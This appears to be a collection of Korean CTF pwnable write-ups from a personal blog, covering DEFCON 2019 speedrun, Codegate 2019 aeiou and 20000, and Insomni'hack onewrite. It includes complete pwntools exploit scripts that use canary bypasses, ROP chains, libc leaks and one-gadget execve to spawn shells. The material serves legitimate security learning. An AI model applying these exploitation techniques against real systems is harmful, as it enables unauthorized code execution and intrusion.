어쨋든 다시 여기 문제로 돌아와서, canary를 무엇으로 설정하냐고 하면 /flag파일을 읽어서 이를 기반으로 canary를 생성한다. 물론 역연산하는것은 어렵다. 하지만 flag가 변할 일은 없으니 canary값은 항상 같다.

그럼 bruteforcing으로 canary를 구하고 그 후에는 rop를 할 뿐인 문제다.


attack_speedrun008.py




speedrun-009

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

모든 보호기법이 다 걸려있습니다. 하지만 그 만큼 문제 자체도 취약점이 많습니다. 문제를 실행하면 1, 2, 3의 선택지가 주어지는데. 1번은 BOF가 발생하고 2번은 FSB가 일어납니다.

FSB를 이용해 CanaryLibc AddressPIE address를 leak할 수 있고, 이제 BOF를 이용해서 onegadget을 사용하면 쉽습니다.

attack_speedrun009.py



speedrun-010

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

마찬가지로 모든 보호기법이 다 걸려있습니다. 이번 문제의 취약점은 UAF입니다. name와 msg가 모두 0x30으로 malloc되고, 값이 리셋되거나 초기화되지않기때문에 puts로 puts를 leak할 수 있고, puts자리에 system함수를 넣어서 /bin/sh를 실행시킬 수도 있다.

attack_speedrun010.py

'Write-up > Pwnable' 카테고리의 다른 글

[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21

[Codegate 2019] aeiou Write-up

2019. 2. 9. 19:51

Description

nc 110.10.147.109 17777

aeiou


주어진 바이너리를 실행하면 아래와 같은 메뉴를 확인할 수 있다.


Raising a Baby
-------------------------------------
[1] Play with Cards
[2] Clearing the Cards
[3] Teaching numbers
[4] Sleeping the Baby
[5] Dancing with Baby!
[6] Give the child blocks!
[7] Sleep me
--------------------------------------
>>


하지만 어떤 메뉴를 선택하든 프로그램은 그 메뉴를 한번 실행하고 종료되기 때문에, 단 한 번에 공격이 이루어져야 한다. 바이너리를 분석해보면 pthread_create함수로 새로운 스레드를 생성하여 start_routine 함수를 실행하는 부분이 있다. 이 start_rountine(0x4013AA)함수의 C 의사코드는 아래와 같다.



버퍼는 0x1000만큼 할당되어있지만 입력은 0x10000만큼 입력할 수 있다. 이는 BOF가 있음을 알려준다.


[*] '/home/myria/CTF/CODEGATE/aeiou/aeiou'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


하지만 카나리가 있기 때문에 BOF를 통해 바로 return address를 덮어씌울 방법이 없다. 이를 우회하기위해 pthread_create함수가 이용된다. 스레드가 pthread_create함수에 의해 생성될 경우, 스레드의 스택에 Thread Local Storage(TLS)를 사용하여 변수를 저장한다. 즉, 스레드의 스택에 stack_guard(=카나리값)이 존재하기 때문에 이를 덮어씌우면 BOF를 사용하여 RIP를 컨트롤 할 수 있다.


이제 ROP기법을 이용하여 라이브러리 주소를 유출(leak)하고 원샷가젯 (execve("/bin/sh", rsp+0x30, environ))을 실행하면 된다.



Full exploit code

from pwn import *

conn = remote("110.10.147.109", 17777)
#conn = process("./aeiou")


def Teaching(num, data):
	conn.recvuntil(">>")
	conn.sendline("3")
	conn.recvuntil("Let me know the number!\n")
	conn.sendline(str(num))
	conn.send(data)

pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
bss_addr = 0x604110

# leak atol (libc_address)
payload  = p64(pop_rdi) # pop rdi; ret;
payload += p64(0x603FC0) # atol@GOT
payload += p64(0x400B58) # jmp puts@PLT

# read(0, 0x602030, SIZE) %% rdi=0, rsi=0x602030, rdx = big value
payload += p64(pop_rdi) # pop rdi; ret;
payload += p64(0)		 # stdin
payload += p64(pop_rsi_r15) # pop rsi; pop r15; ret;
payload += p64(bss_addr)
payload += p64(0)		# r15 <= garbage
payload += p64(0x400B88) # jmp read@PLT

# rsp -> bss
payload += p64(0x4026ed) # pop rsp; pop r13; pop r14; pop r15; ret
payload += p64(bss_addr)


Data  = "A"*(0x1010-8)
Data += p64(0xdeadbeefcafebabe) # fake canary
Data += "B"*8 	# sfp
Data += payload # rop chain
Data += "C" * (2000-len(payload)) # rop chain
Data += p64(0xdeadbeefcafebabe) # fake canary

Teaching(0x1010 + 2008 + 8, Data)


# leak
conn.recvuntil("Thank You :)\n")
libc_base = u64(conn.recv(6).ljust(8, "\x00")) - 0x36ea0
log.info("libc_base: " + hex(libc_base))

"""
0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
	[rsp+0x30] == NULL
"""

one_gadget = libc_base + 0x4526a
log.info("oneshot : " + hex(one_gadget))

payload  = p64(0) * 3 # pop r13; pop r14; pop r15; ret
payload += p64(one_gadget)
payload += '\x00' * 0x40  ## [rsp+0x30] == NULL

conn.sendline(payload)
conn.interactive()


'Write-up > Pwnable' 카테고리의 다른 글

[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20

필자의 팀은 bash 우회(\b\a\s\h)세미콜론 우회(ctrl+v + ctrl+j)를 통해 풀었으나..


타팀의 writeup을 보고 감탄해마지않아 글을 쓴다...


grep을 저렇게 멋지게 활용할 수 있다니 감탄할 따름.


grep -rnw "system" | wc -l         /// system을 포함하는 라이브러리 갯수 출력


grep -rnw "exit" | wc -l               // exit를 포함하는 라이브러리 갯수 출력


grep -rnw "ls \"%s\"" | wc -l        // ls "%s" 를 포함하는 라이브러리 갯수 출력


-r, --recursive : 서브 디렉토리의 파일까지 모두 출력 출처

-n, --line-number : 문자열이 들어있는 라인과 문두에 라인번호를 출력

-w, --word-regexp : pattern 이 전체 단어와 일치하는 줄만 출력, 단어의 일부로써 일치하는 경우가 아닌, 하나의 단어로써 일치하는 줄이 출력.



20000개중 exit인 15000개빼고 또 남은것중에 ls가 포함된 4999인것을 빼면 남는게 1개...



그 1개가 system(&s)인 라이브러리...

grep을 이리 멋지게 활용하다니... 대단;


나중에 써먹어야지 ㅎㅎ


'Write-up > Pwnable' 카테고리의 다른 글

[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30

Description

File

onewrite

 is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337

간단한 문제입니다.

All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7fff979bf4a0
address : 140735736968352   
data : 12345678

프로그램을 실행하면 stack 이나 do_leak 함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다. 

그 후,  do_overwrite 함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다. 

[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and binary is "statically linked"

그러나 바이너리가 정적링크(statically linked)이기 때문에 stack 과 pie 둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.

  1. Leak PIE address
  2. Overwrite pie_addr + 0x2a55a3 with main address
  3. Program end. And the exit will be called after main returns.
    (it call __libc_csu_fini function)
  4. __libc_csu_fini function call QWORD [pie_addr + 0x2a55a3]. so we again jump to main function.
  5. Leak Stack address
  6. Write a ropchain in the bss
  7. Jump ropchain
  8. Get Shell

main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini 가 호출됩니다. 여기 <__ libc_csu_fini+40>에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.


6. Write a 'ropchain' in the 'bss' 이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다. 

return address를 조작할 때, 함수의 프롤로그에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.

main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)

그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.

이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret을 사용하여 ropchain을 실행하면 됩니다.

English writeup

The full exploit code

from pwn import *

#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")

def leak(select):
   conn.recvuntil(" > ")
   conn.sendline(str(select))
   leak_addr = int(conn.recvline().strip(), 16)
   return leak_addr

def write(addr, data):
   conn.recvuntil("address : ")
   conn.send(str(addr))
   conn.recvuntil("data : ")
   conn.send(data)

## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))

target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0   //   call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3		# main function address
write(target, p64(main))

## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr  + 0x28	# return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))


def write_arbitrary(addr, data):
   # stack_address += 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x28
   write(target, p64(main))

   # stack_address -= 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x18
   write(target, p64(main))

   # main_ret => main
   # free write! and return Main
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   log.info("writing")
   write(addr, data)	# free write

# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834

bss_address = pie_base + 0x2B38D0

log.info("pie_base : " + hex(pie_base))

# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")

idx = 2
def rop(data):
   global idx
   write_arbitrary(bss_address + idx*8, p64(data))
   idx+=1

# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)

def trigger_rop():
   stack_addr = leak(1)
   target = stack_addr  + 0x28
   log.info("stack_address : " + hex(stack_addr))
   write(target, p64(main))

   pop_rsp = pie_base + 0x00087c46
   rop_chain = bss_address + 0x10

   # jump ropchain
   write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
   write_arbitrary(stack_addr + 0x48, p64(rop_chain))

trigger_rop()
leak(1)
write(1,"id\n")

conn.interactive()


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13

+ Recent posts